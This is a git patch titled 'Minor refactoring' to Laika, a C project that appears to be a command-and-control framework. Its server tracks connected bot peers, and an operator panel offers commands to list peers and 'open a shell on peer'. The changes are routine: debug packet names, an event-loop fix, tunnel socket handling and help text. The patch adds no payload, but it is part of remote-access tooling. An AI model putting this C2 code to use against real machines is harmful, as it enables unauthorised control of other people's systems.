From 3515d10b1c3c5777e5f9c5582bd688176f2e56f8 Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 1 Apr 2022 14:10:06 -0500 Subject: [PATCH] Minor refactoring --- cnc/src/cnc.c | 9 ++++----- lib/include/lbox.h | 2 +- lib/include/lpacket.h | 4 ++++ lib/src/lpacket.c | 26 ++++++++++++++++++++++++++ lib/src/lpeer.c | 1 + lib/src/ltunnel.c | 4 +++- shell/include/scmd.h | 1 + shell/src/sclient.c | 14 ++++++++------ shell/src/scmd.c | 19 +++++++++---------- 9 files changed, 57 insertions(+), 23 deletions(-) create mode 100644 lib/src/lpacket.c diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index ef24093..a31cb4f 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -340,7 +340,7 @@ void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) { bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { struct sLaika_peer *peer; - struct sLaika_pollEvent *evnts; + struct sLaika_pollEvent *evnts, *evnt; int numEvents, i; laikaP_flushOutQueue(&cnc->pList); @@ -353,7 +353,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* walk through and handle each event */ for (i = 0; i < numEvents; i++) { - if (evnts[i].sock == &cnc->sock) { /* event on listener? */ + evnt = &evnts[i]; + if (evnt->sock == &cnc->sock) { /* event on listener? */ peer = laikaS_newPeer( laikaC_botPktTbl, &cnc->pList, @@ -379,9 +380,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { continue; } - peer = (struct sLaika_peer*)evnts[i].sock; - - laikaP_handleEvent(&evnts[i]); + laikaP_handleEvent(evnt); } laikaP_flushOutQueue(&cnc->pList); diff --git a/lib/include/lbox.h b/lib/include/lbox.h index e1acb46..1cc5ede 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -25,7 +25,7 @@ enum { struct sLaikaB_box { uint8_t *data; uint8_t *unlockedData; - sLaikaV_vm vm; + struct sLaikaV_vm vm; }; inline void laikaB_unlock() { diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 58f614c..e14bbf0 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -121,4 +121,8 @@ enum { typedef uint8_t LAIKAPKT_ID; typedef uint16_t LAIKAPKT_SIZE; +#ifdef DEBUG +const char* laikaD_getPacketName(LAIKAPKT_ID); +#endif + #endif \ No newline at end of file diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c new file mode 100644 index 0000000..19c0381 --- /dev/null +++ b/lib/src/lpacket.c @@ -0,0 +1,26 @@ +#include "lpacket.h" + +#ifdef DEBUG +const char* laikaD_getPacketName(LAIKAPKT_ID id) { + const char *PKTNAMES[] = { + "LAIKAPKT_VARPKT", + "LAIKAPKT_HANDSHAKE_REQ", + "LAIKAPKT_HANDSHAKE_RES", + "LAIKAPKT_TUNNEL_OPEN", + "LAIKAPKT_TUNNEL_CLOSE", + "LAIKAPKT_TUNNEL_CONNECTION_ADD", + "LAIKAPKT_TUNNEL_CONNECTION_RMV", + "LAIKAPKT_TUNNEL_CONNECTION_DATA", + "LAIKAPKT_SHELL_OPEN", + "LAIKAPKT_SHELL_CLOSE", + "LAIKAPKT_SHELL_DATA", + "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", + "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", + "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", + "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ", + "LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ" + }; + + return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; +} +#endif \ No newline at end of file diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 2afce30..c8f5589 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -166,6 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) { /* read packet ID */ peer->pktID = laikaS_readByte(&peer->sock); + LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID)); /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket diff --git a/lib/src/ltunnel.c b/lib/src/ltunnel.c index af41c18..e4a64cc 100644 --- a/lib/src/ltunnel.c +++ b/lib/src/ltunnel.c @@ -105,6 +105,8 @@ struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunne NULL ); + laikaS_setNonBlock(&con->sock); + con->tunnel = tunnel; con->next = NULL; con->id = id; @@ -135,7 +137,7 @@ void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) { /* unlink from list */ last->next = connection->next; } else { /* connectionHead was NULL, or connection *was* the connectionHead. */ - tunnel->connectionHead = NULL; + tunnel->connectionHead = connection->next; } /* tell peer connection is removed */ diff --git a/shell/include/scmd.h b/shell/include/scmd.h index 0727a31..2409614 100644 --- a/shell/include/scmd.h +++ b/shell/include/scmd.h @@ -10,6 +10,7 @@ typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]); typedef struct sShell_cmdDef { const char *cmd; const char *help; + const char *syntax; shellCmdCallback callback; } tShell_cmdDef; diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 78aadd3..e092997 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -132,7 +132,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, shellC_handleShellData, 0, - true), + true) }; /* socket event */ @@ -231,18 +231,20 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { } bool shellC_poll(tShell_client *client, int timeout) { - struct sLaika_pollEvent *evnt; - int numEvents; + struct sLaika_pollEvent *evnts, *evnt; + int numEvents, i; /* flush any events prior (eg. made by a command handler) */ laikaP_flushOutQueue(&client->pList); - evnt = laikaP_poll(&client->pList, timeout, &numEvents); + evnts = laikaP_poll(&client->pList, timeout, &numEvents); if (numEvents == 0) /* no events? timeout was reached */ return false; - if (!laikaP_handleEvent(evnt)) - laikaS_kill(&client->peer->sock); + for (i = 0; i < numEvents; i++) { + evnt = &evnts[i]; + laikaP_handleEvent(evnt); + } /* flush any events after (eg. made by a packet handler) */ laikaP_flushOutQueue(&client->pList); diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 6f52392..825e404 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -8,7 +8,7 @@ #include "lerror.h" #define CMD_ERROR(...) do { \ - shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE)); \ + PRINTTAG(TERM_BRIGHT_RED); \ shellT_printf(__VA_ARGS__); \ longjmp(cmdE_err, 1); \ } while(0); @@ -107,14 +107,14 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) { /* =============================================[[ Command Table ]]============================================== */ -#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback}) +#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback}) tShell_cmdDef shellS_cmds[] = { - CREATECMD("help", "Lists avaliable commands", helpCMD), - CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD), - CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD), - CREATECMD("info", "Lists info on a peer", infoCMD), - CREATECMD("shell", "Opens a shell on peer", openShellCMD), + CREATECMD("help", "help", "Lists avaliable commands", helpCMD), + CREATECMD("quit", "quit", "Disconnects from CNC, closing panel", quitCMD), + CREATECMD("list", "list", "Lists all connected peers to CNC", listPeersCMD), + CREATECMD("info", "info [PEER_ID]", "Lists info on a peer", infoCMD), + CREATECMD("shell", "shell [PEER_ID]", "Opens a shell on peer", openShellCMD), }; #undef CREATECMD @@ -134,11 +134,10 @@ tShell_cmdDef *shellS_findCmd(char *cmd) { void helpCMD(tShell_client *client, int args, char *argc[]) { int i; - shellT_printf("\n\n=== [[ Command List ]] ===\n\n"); + shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { - shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help); + shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help); } - shellT_printf("\n"); } void shellS_initCmds(void) {